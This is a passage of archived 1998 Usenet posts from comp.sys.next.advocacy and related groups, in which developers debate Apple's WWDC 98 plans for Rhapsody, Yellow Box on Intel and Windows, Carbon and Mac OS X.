> Rhapsody API are not screwed -- the Rhapsody API (Yellow) is an integral
> part of MacOS X.
And if you 'fell for it' as part of a cross-platform spec, you will have to move
elsewhere.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Lots of misinformation
Newsgroups: comp.sys.next.advocacy
References: <01bd7de2$cfc7f170$04387880@test1> <3558CD7D.5327CAB0@unet.univie.ac.at> <35593144.34FC9080@nstar.net> <slrn6ljdh9.p80.sal@panix3.panix.com> <355B1C15.83CCAA4D@nospam.com>
Message-ID: <355b3fbe.0@news.depaul.edu>
Date: 14 May 98 19:02:22 GMT
Tim Triemstra <nospam@nospam.com> wrote:
> I am 100% in favor of them adding Carbon. This will keep Mac alive
> while Steve works out a long term plan. However, the thing that bothers
> me is his statement that he didn't like the idea of two OS's in his long
> term strategy. Can anyone tell me how you can possibly here "no 2 OS
> strategy" and "no port to Intel of Mac OS X" and think that doesn't mean
> that Rhapsody is going away for Intel?
I would guess that the two OS's in question are old-style MacOS
and the Rhapsody-based OS's. The differences between Rhapsody
on PPC and Rhapsody on Intel are certain to be *tiny*, compared
to the difference between MacOS 8 and Rhapsody/MacOS X.
--
"... and subpoenas for all." - Ken Starr
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 14 May 1998 20:18:21 GMT
Organization: Michigan State University
Message-ID: <6jfjid$7t0$1@msunews.cl.msu.edu>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com>
<3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com>
<6jcjie$1cc$22@ironhorse.plsys.co.uk> <3559D285.C7FC88FA@milestonerdl.com>
<6jd4b4$5nv$4@msunews.cl.msu.edu> <355A1631.F7BD6362@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <355AE8BD.2D081E28@milestonerdl.com> M Rassbach wrote:
>
>
> spammers@ruin.the.internet.channelu.com wrote:
>
> > > Simple. Just announce that "Apple considerers NT 5.x to be a key
> > platform
> > > to support. Apple Computer will work to support a NT 5.x version
of
> > > YellowBox technology." Says nothing about succeeding, and Apple
can
> > (and
> > > has) change its mind. But, with no support mentioned, what is to
be
> > > assumed? That Apple will support or not?
> >
> > Why NT5.x isn't even shipping yet. If they know they will want to
it
> > would
> > be a good thing IMHO. But I'm not sure I'd agree that they
aren't.
> > Hell maybe they got Microsoft to support YB for 98/NT5. So why
> > would Apple announce it? Heck they may have to keep quiet about
> > this because of deals with MS. They are also a bit busy right
now.
> > Hopefully this will become clearer shortly. You've waited a year
> > can you wait another week?
>
> Actually, I've been asking about YellowBox announced support plans
for NT
> 5.x/98 for 7 months.
Unfortunately I don't see anything in Scott's new pages on this. I'm
going
to e-mail him and ask him to ask the Apple folks to comment on this
directly.
There is a nice tidbit though relating to my concerned about Rhapsody
on
Intel
"During this session it was said that Apple is commited to continue to
support
Mach, Rhapsody and Yellow Box on Intel in the future and through the
Mac OS X
timeframe. It was also mentioned that Intel support becomes easier upon
transitioning from Mach 2.5 + to Mach 3.0. Thanks to Mark Ritchie and
David Herren for
the details on this."
I think that also means that YB on 98/NT5 will also be supported.
But yes I agree with you nothing formal yet on this. Hopefully
me prodding Scott to ask the Apple reps will get us a definative
answer.
> Right now, I'm making noise. And I'm hoping that some people who
felt the
> NT5.x/98 path was asured will say "Hey, they HAVEN"T announced NT5,
have
> they?" And enough ppl ask, that Apple will make a formal statement.
I will try to. I agree a formal statement on this is very important.
I think with the above comments on Mach, Rhapsody & YB on Intel
are very encouraging.. Though I wondered why they didn't say support
& develope!!
> > > Perhaps. A rumor is Win98 ships with YellowBox on it.
> >
> > Yep and I'll believe it when I see it. It would be awsome BTW!
>
> No, what would be awesome is this:YellowBox verson of Photoshop. The
> YellowBox port is faster than the Windows version. 10%-30% would be
nice
> to see.
Go bug Adobe. Frankly from what I've heard & seen about Tiffany
it's ready to kick Photoshops arse all over the place.
> > > And the self-fufulling prophecy can be broken when Apple publicly
> > supports
> > > the FUTURE of non-MacOS options.
> >
> > Yes and I agree Jobs made a mistake of touting MacOS X while not
saying
> > anything about Rhapsody or the future of YB on Intel.
> >
> > > We can all agree MacOS is Apple's 'core buiness'.
> >
> > Bull. PPC is Apple's core business. Go check their business
figures.
>
> If PPC's were proftable in anything but a MacOS OS, then why have the
> cloners all dried up and went away?
Why do you have to ask a question w/o checking the figures?
Go look at their financials. Almost all of the company income is
from hardware sales NOT software.. It is the only thing keeping
Apple alive at this point other than that 1.5-2Billion in the bank :)
> > To kill it probably. Again time will tell. I tend to belive
that
> > all the YB
> > conferences etc. suggest otherwise. I look forward to Scott's new
> > addition tonite if he isn't completely burned out from last
> > night/today.
>
> Same here.
So did you look?
http://www.stepwise.com/SpecialCoverage/WWDC98/Wednesday.html
> > > How convincing is learning YellowBox if it runs on old 95/NT4 and
> > Macintosh
> > > machines?Carbon exists because YellowBox wasn't convincing enuf.
> >
> > Give me a fricking break.
>
> I'd swear that's what Steve Jobs had said. "Rhapsody did not go far
> enough"
>
> > Can you buy NT5, Win98.
>
> You will be able to. And Microsoft's core Apps will be moved to
98/NT5
> only. And users will get dragged kicking and screaming.
BTW: Notice the release of Win98 has been delayed because of DOJ
and State Attorney General negotiations (from ). Also it was
interesting
that Win98 was slated for release tomorrow. Anyone note the
coincidence?
> Now, why junp on YellowBox if your goal is Intel support? To date,
it's a
> 1999-2000 solution. That's when Microsoft does NT5 (or is supposed
to)
> and given Microsofts history of breaking code when the upgrade OSes,
the
> conservative path is to assume YB on NT4 will break on NT5. And,
given
> Apple's past screwings of various parties, AND that the income to
Apple
> comes from PPC boxes, why shouldn't one bet that Apple's end goal is
to
> cancel YellowBox for Intel and say "Your envorinment is still
arounnd, just
> on PPC now."
Look eventually I want to go PPC. Don't get me wrong. But if it
doesn't
make sense financially, and if I can't offer to my clients Intel
hardware
with Rhapsody (because they are rightfully paranoid of PPC/Apple
and feel much more secure with Intel in case they choose to go with
MS) then it isn't going to sell to my clients. And Apple can't afford
to wait until the world swings back to them.
> > Carbon exists
> > because
> > MacOS developers didn't have the balls to jump on the new ship.
Tell
> > me
> > they were slobbering over doing a 95/NT4 port or gee like they
could a
> > NT5/98 port?
>
> Perhaps it's this simple. Where was Apple's long-term support for
Intel?
Read above & Scott's pages. It isn't a formal announcement and doesn't
contain what your looking for. But support for intel is planned up to
and
through MacOS X time frame. I can't belive they would say this and
then drop it.
> > Come on what were their options? Are you even a MacOS
> > developer? Or are you just trolling here with your downer attitude
> > because
> > you have put options on AAPL?
> >
> > Get your head out of the ground and think about how all the
different
> > sides have been looking at things and how they are now looking at
> > things.
> > Apple has been struggling for years, and since they bought NeXT and
> > ported Openstep AKA Rhapsody you wanted some kind of a miracle.
> >
> > Please keep us happy give us Preemptive multitasking, memory
> > protection,
> > buzzword, buzzword.. Well when they tell you it just can't be
> > frickin' done
> > with full backward compatibility what does the MacOS developer do?
> > He sticks his head in the sand and says "no, no, NO, NO". Well
get
> > your head out of the sand because you are getting a full blown body
> > transplant. Apple got YB from NeXT along with Mach/DPS and loads
> > of other technologies. Apple/NeXT ported to PPC within 9 months.
> > Shortly there after we got BlueBox and Yellow Box (YB was already
> > in the works at NeXT I think). BlueBox is going to blow a few
folks
> > away I suspect.
>
>
>
> > Now they want to give you Carbon and all you can
> > do is bitch? What is wrong with you.. You get MacOS all over
> > the place and in many different forms. What the heck is your
problem.
>
> I could care LESS about carbon. All carbon does is give a viable
option to
> trash YellowBox. They didn't have that b4. (Do I think it's
likely...no)
>
> What I DO care about is cross-platform. And, without a formal
statement
> about support for NT5, the future for it is in doubt.
In some sense yes. I hope this will be straightened out. I wonder if
the DOJ and MS issues are wreaking havoc on some big show on
friday (i.e. opening a win98 box and showing YB in in there!)
> (Now, if Apple makes formal statement, they could still opt to
cancel the
> project. But, after making a formal statement, the pressure not to
cancel
> would be strong)
The pressure would be strong even now. But yes even stronger.
>
> > At this point I'm going to believe what Apple says when it says
> > YB is it's core technology.
>
> I think it is too. And that's yet another reason to worry about
> cross-platform.
I think we are seeing eye-to-eye on this. I understand you want a
formal announcement and I do also. Hopefully nudging Scott
and other folks reading these newsgroups who are there @ WWDC
they will ask the question.
We should start another thread "Apple please announce YB NT5/98
support, and a commitment to Mach/Rhapsody/YB on Intel"
> > Fortunately I'm not dealing with legacy
> > MacOS code. If I was I would have been working on porting to
> > YB over the past year and coming up to speed on the YB API's
> > and probably freaking out over how beautiful it is. Yeah it will
> > take time to get up to speed but I would have been digging in
> > with both feet. And drooling over the possibility of getting
> > directly to 95/NT4 via YB. Others said ah the heck with it
> > and threw in the towel. Frankly I don't think what Apple is
> > doing with MacOS X is going to bring them back on board.
> >
> > What would bring them back on board is if Apple was working on
> > a way to convert Carbon Source to YB Source. That would
> > get me on board rather quickly. Otherwise what are my options
> > port/code for 95/NT? Please compare 95/NT to YB and tell
> > me you'd choose 95/NT.
>
> People don't choose Microsoft due to it's beauty....they choose due
to
> size.
They choose it because of marketshare, and compatibility. I know
I deal with it in the trenches every day.
> Mac API - No GPL/public attempts to make a clone in open source.
> OpenSTEP - GnuSTEP
> Windows - TWIN at Willows.com
>
> OpenSTEP had LESS marketshare than MacOS, yet there is work done on
> GnuSTEP.
Because there are some folks that know a good thing when they see it.
I begin to wonder since the YB calls are all public what is to stop
folks
from beginning coding a set of YB libraries.. Maybe DPS at this point.
> > > Here's one for you to think on:
> > > If Apple HAD announced NT5/98/Solaris/HP-UX/Linux for YellowBox,
> > would that
> > > have been enuf to not NEED Carbon?
> >
> > I personally don't think Carbon is going to swing a lot of folks at
> > this point
> > last year maybe, now w/o a Carbon to YB converter it's hard to say.
> > All
> > the big players already have 95/NT versions. Would
> > Solaris/HP-UX/Linux
> > swung them. Maybe just maybe, but Carbon to YB converter would
> > make them jump like starving dogs after a bone.
> >
> > > > Hell
> > > > I still know people using NT3.51 for various reasons.
> > >
> > > And, as Macintosh owners point out, Some macs still run MacOS 6.
> >
> > Yeah but I'd bet they arn't running it on PPC :)
> >
> > > > > Now, I know you can't know (or, well tell) about a win98
> > announcement
> > > > on
> > > > > Friday, but when the RDF is turned off Friday, will you have
_in
> > > > hand_
> > > > > anything about NT5.x and Rhapsody for Intel beyond 1.0/beyond
> > MacOS
> > > > X?
> > > > >
> > >
> > > > Who knows. Wait until NT5 or 98 is announced/shipping and then
bug
> > > > Apple
> > > > about it. Then you'll know.
> > >
> > > If the end-game is a bait and switch, the end game will have been
> > reached
> > > at that time."Well sir, if that YellowBox application on Intel is
so
> > > important to you, come and buy this PPC box."
> >
> > And if that's the case I'll be off to Linux completely through with
> > anything
> > S. Jobs has his hand in. At that point I'll recant my words and
say
> > you
> > were right Mark. Will you do the same when you happily find out
YB
> > will be on NT5/98 and there will be a Rhapsody for Intel along with
PPC
> > (I'm mostly uncertian about the YB-Mach-Intel support at this point
> > than
> > anything else) for versions beyond Rhap1.0??
>
> Yup. I've been wrong b4. And, at some day, I'll be wrong again.
>
> So far, I've been right that Apple has made no press release on NT
5.x/98
> support. On Friday, the rumor of formal YellowBox support for the
> dead-end (Microsoft says it's so) 98 may be announced.
AFAWK this is true. But I don't know how they'll handle this with DOJ
negotiations etc.
>
> >
> >
> > > > I still don't see what your complaints
> > > > are. Apple
> > > > is committed to YB on other archs.
> > >
> > > WHERE ARE THE PUBLIC STATEMENTS!
> >
> > I wish I knew. But I havn't scoured Apple's site at this point.
> > They've got
> > to be terribly busy, and yes I get the feeling something is being
> > hedged
> > and that is what I don't like. I am concerned as you about the
support
> > but to say it won't be there is as bad as me saying it will.
>
> I'd just ask you to provide support for such a statement.
Because you don't know that they won't and I don't know they will.
Otherwise you wouldn't be here saying it over and over again
to get Apple to comment, and If they had I wouldn't be replying to
you I'd just have posted a URL.
How about that for support.
> In 7 months, no one has produced documentation to support Apple has a
> formal NT 5.x/98 plan. And the only 'support' of Apples support of
NT 5.x
> is a vague pointer to a slide show at WWDC. I have yet to look at
this and
> see.
And you produce nothing that says they won't.
> > Thing is what is our alternative 95/NT??
>
> Unix! Unix! Unix!It's been around longer, and the open source
community
> is growing, and well, it's just better!
> Unix! Unix! Unix! Rah Rah! Unix!
Not just unix - Unix w/ source. Rah! Rah! Rah! (I'm with you on this
and I am positive the Linux/FreeBSD mantra will continue to grow
in strength until it swallows everything - everyone else will have
their proprietary solutions on top - until they are all absorbed!!)
> > I'm already moving
> > everything
> > I can to Linux/BSD I'm sure that won't go away anytime soon. I'm
> > suggesting
> > to my clients to do the same to hedge all of their bets. Use what
you
> > can now
> > but keep looking to get everything you can to Linux.
>
> Linux? Gack. I'm a FreeBSD kinda guy. :-) And, I came to that
> conclusion 8-10 months ago. The trick I am trying is to move
YellowBox
> over to FreeBSD via the same method that Solaris support can happen.
>
Fine you can have what you want.. I should probably check out where
FreeBSD is sitting these days. Linux was just easier and seems to have
more people working on it. But rest assured I'll take a look at
FreeBSD
sometime soon (who knows I may like it much better than Linux)
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Anyone notice?
Date: Thu, 14 May 1998 15:16:57 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1405981516570001@pelli.pathology.pitt.edu>
References: <355a240b.0@news.depaul.edu> <1d90rdb.fsb871iesj0yN@dialup184-4-8.swipnet.se>
Mail-Copies-To: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu
In article <1d90rdb.fsb871iesj0yN@dialup184-4-8.swipnet.se>,
lars.farm@ite.mh.se (Lars Farm) wrote:
> People will not know until it is released.
>
> (... Pink, Talligent, Bedrock, OD, GX, ... )
> wwdc 96: Future Apple OS = (delayed) Copland soon. Gershwin 98
> Jan 97: Future Apple OS = Rhapsody in 12-18 months
> wwdc 98: Future Apple OS = Rhapsody soon. Mac OS X in 12-18 months
> wwdc 99: Future Apple OS = <so far unknown> in 12-18 months
> ...
>
> Seems the new and improved leadership bought from NeXT continues the "no
> wait - i have a better idea" tradition (with emphasis on "wait").
I disagree with this bullshit. Copland Never made it to the developers.
Rhapsody has already made it to the developers and the Intel port is out
as well. The new leadership has met the deadlines without missing a
beat.(to me meeting a dealine in the software business means hitting the
target date +/- a month.) The early builds shown at WWDC were extremely
sophisticated and showed that they were on top of things. The reason that
it is not in the hands of the consummers isd that Apple is tring to figure
out what is the best way to market it.
Just out of curiousity, answer this question. Is MS very good at meeting
deadlines? Hint: think NT5.
peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com> <355af7e5.0@206.25.228.5> <355B49C0.10D34097@unet.univie.ac.at>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355b5409.0@206.25.228.5>
Date: 14 May 98 20:28:57 GMT
Christian Benesch <a9226931@unet.univie.ac.at> wrote:
> John Kheit wrote:
> > Speaking of which...will any of this mean a damn if the rumor of
> > YB not being free for developers on windows? Who is going to use
> > it if dlls are not free?
> The traditional NeXT clientele for one.
> And for custom business applications $20 are a LAUGH.
You're likely right. But who is going to make all those cool freebee apps,
or the cheapo 20buck apps. Or even your average mainstream app. After
all, that is the market we're in. I don't want to go back to
microBreweryNiche'dom ala the NeXT marketplace anytime soon if at all. The
one cool thing that I heard is that a bunch of people could get together
and put all their apps on one CD and pay only one license fee. So, for
example, PEAK (the ftp site with ALL next/rhapsody software on it) could
press a disc, sell it for $theirFee+20 and all the YB software could
leverage the DLL's off that disc. Not optimal, but getting better.
My guess is this is mostly over the DPS license fee. I'm pretty sure
that's what all the hubub has been over the graphics engine scuttlebut
about the show. So if apple has to, it will simple shove Display
Ghostscript (DGS) in there once it gets it polished enough for use and end
things.
Personally I think Adobe is foolish for not THINKING HARD about a way to
give away the YB dll's for free with freeware and yet still charging the OS
makers for every seat it sells. Perhaps having the free DLL's limited to
only rendering at a max of 100dpi, to printers or something like that.
Because DGS is free, and it's real enough to kill DPS.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 20:25:17 GMT
Organization: University of California at San Diego
Message-ID: <slrn6lmkpc.rb6.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <pulsar-ya02408000R1305981108250001@news-proxy.cso.uiuc.edu> <3559FA4D.CF4A4BF4@spamtoNull.com> <355a269d.0@news.depaul.edu>
On 13 May 98 23:02:53 GMT, Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
:In comp.sys.next.advocacy Jonathan Harker <Limeyville@spamtoNull.com> wrote:
:
:> Most likely, Jobs signed away Rhapsody for Intel a long time ago when he
:> got into bed with Microsoft. He's done his due and paid lip service to
:> the concept, and that's about it.
:
:If Jobs were 'in bed' with Microsoft, he'd be out campaigning for
:the 'Free Redmond' effort, signing petitions, going to rallys,
:etc. You couldn't get a more persuasive voice than someone running
:a company squished by Microsoft, who's been affected by Microsoft's
:creative definition of 'innovation', and who isn't as directly under
:Gates' thumb as the Wintel CEO's.
:He's not doing that. He hasn't been heard of, wrt Microsoft.
If Steve Jobs were 'voluntarily' campaigning for Microsoft it would enhance
the Justice Department's case.
Because everybody would know that he was bought off in order to get Mac
Office, and Jobs would do nothing to disabuse them of the notion, even
mentioning offhand in ''informal fireside chats'' how they really needed
Microsoft's cooperation (and drop just a few little hints how they were
waved off from competing in x86 operating systems).
The fact that Steve Jobs was seemingly converted to be ''pro Microsoft''
would clearly demonstrate just how excessively powerful Microsoft has
become.
It would send a powerful message to the DOJ: "SUBPOENA ME NOW DAMMIT!"
It would be a really good sleazy trick. Especially if an anonymous
Apple insider just happened to leak documents to the government....
The major downside is that it would freak out loyal Mac users who didn't
get the nature of the actual plan, and they need the $$$ from Mac upgrades
desperately.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
Message-ID: <355B5438.FEEADA2@unet.univie.ac.at>
Date: Thu, 14 May 1998 22:29:44 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Clarification of the above
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com> <3559E9B3.5718F3D7@spamtoNull.com> <andyba-ya02408000R1405981039530001@news> <355B4E95.486D8B47@unet.univie.ac.at>
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Something about new wine and old wineskins.....
Christian Benesch
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 May 1998 16:45:05 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jfl4h$7lh$1@crib.bevc.blacksburg.va.us>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B30B0.355C95BB@milestonerdl.com> <6jff08$7ei$1@crib.bevc.blacksburg.va.us> <355B3744.18038EC5@milestonerdl.com>
In article <355B3744.18038EC5@milestonerdl.com>, mark@milestonerdl.com wrote:
> Show where there is a cross-platform future?
Show where there isn't. Everything I've heard Apple say about
cross-platform speaks of their committment to it. The statements might
not be everything you want, but there isn't anything that suggests
there is none.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 13:36:49 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1405981336490001@news>
References: <ericb-1105981718430001@132.236.171.104> <6jd1s0$5nv$2@msunews.cl.msu.edu> <355A04FC.420CED76@milestonerdl.com> <rex-1305982038160001@192.168.0.3> <6jdenm$5e7$1@crib.bevc.blacksburg.va.us> <rex-1305982346160001@192.168.0.3>
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In article <rex-1305982346160001@192.168.0.3>, rex@smallandmighty.com (Eric
King) wrote:
> Of course, these
> companies could port their propietary code to other APIs such as the
> Yellow Box, but these companies will probably only target the APIs with
> the largest marketshare. That's going to be Win32 and Carbon for years to
> come.
Companies don't target APIs; they target platforms. If they use Rhapsody
APIs, then their same code can run transparently on both Rhapsody/X on PPC
and Rhapsody/Windows (through Rhapsody libraries) in Intel. One code base,
two platforms. Good deal for the companies.
Andy Bates.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 14:52:03 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355B4B63.914D31EF@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <355A3418.4A8D@stetson.edu> <6jdf04$5f5$1@crib.bevc.blacksburg.va.us> <355A36A9.770CD512@milestonerdl.com> <andyba-ya02408000R1405981314120001@news>
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Andy Bates wrote:
> In article <355A36A9.770CD512@milestonerdl.com>, mark@milestonerdl.com wrote:
> > Keep it around is not the same as working to support it.
> Sure it is! You're playing with semantics. "Keeping it around" means
> "keeping it as a supported product."
> Andy Bates.
In the same way that Newton is STILL a viable part of Apple's product line?
Though Apple pulled plug on Newton, company in
cludes Newton-based handhelds in demo of products being pitched to teachers.
was the headline
"Discontinuing Newton development was a painful decisio
n for Apple to make, but it is still a viable part of our offerings," said Steve
Zalot, an advisory systems engineer at the Cupertino, Calif.-based company.
is the quote.
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: 14 May 1998 20:48:11 GMT
Organization: MiscKit Development
Message-ID: <6jflab$138$1@news.xmission.com>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com> <6jee5v$job$1@leonie.object-factory.com>
holger@object-factory.REMOVETHIS.com (Holger Hoffstaette) wrote:
> Don Yacktman wrote:
> > [...] If you saw it, you would ****
> > in your pants, it is _so_ cool. I really hope they productize
> > and sell the more generic aspects of the app.
>
> What does it do, and why is it so kewl? (from a geek POV ;)
I can't say: NDA. But there are some clues that are public info, so let me
present the known facts.
Erik did once mention it by name here, IIRC. "Graphical Object Builder".
Another public bit of into is that the Rockwell facility in Iowa does
Avionics. So, a _mission_ _critical_ app with a name reminiscent of
"Interface Builder" in an Avionics firm means...
(Note: it is capable of much more generic things than what it is being used
for right now. It sure would make parts of the MiscAppKit a lot easier to
produce, for example: no code!)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: OS X, Unix, and Open Firmware (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: Thu, 14 May 1998 15:52:41 -0500
Organization: KAOS
Message-ID: <19980514155241852134@sdn-ts-011txhousp14.dialsprint.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <B1800144-FB3B5@204.31.112.110>
Phil Brewster wrote:
> According to the Current Plan (tm), it will include BSD (see references
> below), but not as a default user environment. One of the slides from the
> 'Core OS Architecture' session at WWDC yesterday indicated that BSD UNIX
> will be 'well-hidden', but nonetheless available as an 'optional
> environment for power users and developers', on MacOS X.
>
> BSD is listed as one of the application environments, along with Blue Box,
> Carbon, and Yellow Box, plus Java.
You beat me to the punch! I've retitled this followup, however, as I
think the message deserves a higher profile.
> FWIW, the presentation slides from many of the WWDC sessions are available
> via
>
> http://www.developer.com/calendar/minisites/wwdc98/
>
> Some of the presentations can also be seen as QuickTime movies at
>
> http://applewwdc98.isocket.com/theater.html
>
> (requires QT 3.0 and a fast Internet connection -- unfortunately, I have
> neither, so I've only seen the slides.... <g>)
> See especially the slides on
>
> 'Core OS Evolution'
>
> http://www.developer.com/calendar/minisites/wwdc98/131corOSarch/sld007.htm
>
> and 'Core OS and MacOS X'
>
> http://www.developer.com/calendar/minisites/wwdc98/131corOSarch/sld024.htm
I think I skipped slide 7, but 24 definitely shows BSD as an equal
application environment in OS X. Also, the idea that BSD will be hidden
but available for those who want it is shown in slide 26:
www.developer.com/calendar/minisites/wwdc98/131corOSarch/sld026.htm
> Frankly, I don't see what all the whining and gnashing of teeth is about,
> _unless_ this MacOS X thing signals Apple eventually backing away from
> Rhapsody/OpenStep on Intel, which would not be a good idea at all, IMO.
I'm a little amazed at the whining myself, though I admit Apple has a
knack for obfuscating news (both good and bad).
> FWIW, both Mac CNN and MacWeek claim that Rhapsody will continue on as a
> separate 'high-end server OS', even after MacOS X is released, and both
> cite 'Apple sources' for this claim. See
>
> http://www.macnn.com/reality/archives/051198/news.shtml
> http://www.zdnet.com/macweek/mw_1219/op_editorial.html
>
> My own sense of it is that MacOS X _should_ be as portable as Rhapsody,
> since all the components of Rhapsody are there and neither Carbon nor the
> Blue Box are 'required' elements of the core OS.
>
> But Apple really needs to clarify this, IMO, e.g., whether the 'fully
> optimized for G3 processors' bit was just marketing hype for the Mac
> audience or whether it's indicative of future strategies at Apple limiting
> Rhapsody technology to PPC-only systems (and, in effect, to Apple
> hardware....).
I don't think it's either; see the MacNN URL you reference for one Apple
spokesman's explanation. A relevant snippet:
"the newer Open Firmware present in the iMac, and all the future systems
will allow for cleaner booting, and easier transition to MacOS X. ...
Apple ... would find a way to allow Mac OS X to boot the same on the
current systems."
Others with more technical savvy can argue over how true this is, but it
appears that it may not be a piece of cake to support pre-iMac hardware
and that Apple is limiting its commitment to G3 hardware. This won't
make pre-G3 PCI PMac owners happy, to be sure, though they may still
have the option of running Rhapsody, which (for better or worse) was all
that Amelio promised. (The avoidance of lawsuits could even be a reason
for renaming Rhapsody -- at least its consumer incarnation -- "OS X,"
though more likely it's just a [for Apple] side benefit.)
--
John Bauer
<remove NOT from email address above, just like the spammers do>
Message-ID: <355B5976.92E56898@unet.univie.ac.at>
Date: Thu, 14 May 1998 22:52:06 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com> <355af7e5.0@206.25.228.5> <355B49C0.10D34097@unet.univie.ac.at> <355b5409.0@206.25.228.5>
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John Kheit wrote:
> Christian Benesch <a9226931@unet.univie.ac.at> wrote:
> > John Kheit wrote:
> > > Speaking of which...will any of this mean a damn if the rumor of
> > > YB not being free for developers on windows? Who is going to use
> > > it if dlls are not free?
>
> > The traditional NeXT clientele for one.
> > And for custom business applications $20 are a LAUGH.
>
> You're likely right. But who is going to make all those cool freebee apps,
> or the cheapo 20buck apps. Or even your average mainstream app. After
> all, that is the market we're in. I don't want to go back to
> microBreweryNiche'dom ala the NeXT marketplace anytime soon if at all. The
> one cool thing that I heard is that a bunch of people could get together
> and put all their apps on one CD and pay only one license fee. So, for
> example, PEAK (the ftp site with ALL next/rhapsody software on it) could
> press a disc, sell it for $theirFee+20 and all the YB software could
> leverage the DLL's off that disc. Not optimal, but getting better.
> My guess is this is mostly over the DPS license fee. I'm pretty sure
> that's what all the hubub has been over the graphics engine scuttlebut
> about the show. So if apple has to, it will simple shove Display
> Ghostscript (DGS) in there once it gets it polished enough for use and end
